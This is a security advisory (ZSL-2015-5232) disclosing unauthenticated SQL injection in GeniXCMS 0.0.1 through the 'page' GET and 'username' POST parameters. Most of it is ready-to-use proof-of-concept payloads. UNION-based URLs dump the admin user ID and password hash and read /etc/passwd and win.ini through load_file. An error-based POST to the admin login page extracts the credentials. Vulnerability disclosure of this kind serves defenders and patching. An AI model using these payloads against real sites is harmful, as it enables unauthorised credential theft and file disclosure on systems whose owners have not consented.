GeniXCMS v0.0.1 Remote Unauthenticated SQL Injection Exploit

Vendor: MetalGenix
Product web page: http://www.genixcms.org
Affected version: 0.0.1

Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF).
It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to
Advanced Developer. Some manual configurations are needed to make this application to
work.

Desc: Input passed via the 'page' GET parameter and the 'username' POST parameter is not
properly sanitised before being used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Tested on: nginx/1.4.6 (Ubuntu)
           Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5232
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5232.php


05.03.2015

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Get admin user/pass hash:
-------------------------

http://localhost/genixcms/index.php?page=1' union all select 1,2,(select concat(unhex(hex(cast(user.userid as char))),0x3a,unhex(hex(cast(user.pass as char)))) from `genixcms`.user limit 0,1) ,4,5,6,7,8,9,10 and 'j'='j



Read file (C:\windows\win.ini) and MySQL version:
-------------------------------------------------

http://localhost/genixcms/index.php?page=1' union all select 1,2,load_file(0x433a5c77696e646f77735c77696e2e696e69),4,@@version,6,7,8,9,10 and 'j'='j



Read file (/etc/passwd) and MySQL version:
------------------------------------------

http://localhost/genixcms/index.php?page=1' union all select 1,2,load_file(0x2f6574632f706173737764),4,@@version,6,7,8,9,10 and 'j'='j



Get admin user/pass hash:
-------------------------

POST /genixcms/gxadmin/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
Accept: */*
User-Agent: ZSLScan_1.4
Connection: Close

password=1&username=' and(select 1 from(select count(*),concat((select (select (select concat(unhex(hex(cast(user.userid as char))),0x3a,unhex(hex(cast(user.pass as char)))) from `genixcms`.user limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1&login=